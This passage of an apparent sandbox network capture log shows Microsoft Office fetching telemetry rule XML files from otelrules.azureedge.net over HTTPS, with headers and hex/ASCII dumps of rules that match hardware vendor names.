6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:46 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:46 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 22636776-e01e-0003-4fa8-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165446Z-174f7845968swgbqhC1EWRmnb4000000168g00000000t5fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:46 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:46 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:46 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:46 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: e6e3c96a-a01e-0032-07d4-431949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165446Z-174f7845968frfdmhC1EWRxxbw000000164000000000wfaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:46 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:46 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:46 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:46 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165446Z-174f78459685m244hC1EWRgp2c00000015y000000000txcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:46 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:46 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:46 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:46 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d2130280-a01e-006f-03c7-4313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165446Z-174f7845968n2hr8hC1EWR9cag00000015r000000000y85s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:46 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:46 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:46 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2c78b3d6-001e-0017-21e0-430c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165446Z-174f7845968kdththC1EWRzvxn0000000kgg00000000m785 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:46 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:48 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 896d1f20-701e-0001-29ee-44b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165448Z-174f7845968px8v7hC1EWR08ng00000016k0000000001byc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:48 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:48 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:48 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3deb74dd-c01e-00a1-07f7-447e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165448Z-174f7845968xlwnmhC1EWR0sv8000000164g0000000021e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:49 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:48 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:48 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165448Z-174f78459685m244hC1EWRgp2c00000015z000000000rgdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:49 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:48 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:49 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c220f382-901e-0029-3552-43274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165449Z-174f7845968jrjrxhC1EWRmmrs000000168g00000000pr16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:49 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:49 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 25544c2c-a01e-00ab-8007-419106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165449Z-174f7845968jrjrxhC1EWRmmrs00000016dg000000004zd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:50 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 12c713eb-c01e-0034-6a92-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165451Z-174f784596886s2bhC1EWR743w000000167g00000000exkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:50 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165451Z-174f7845968kvnqxhC1EWRmf3g0000000t1000000000bf7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
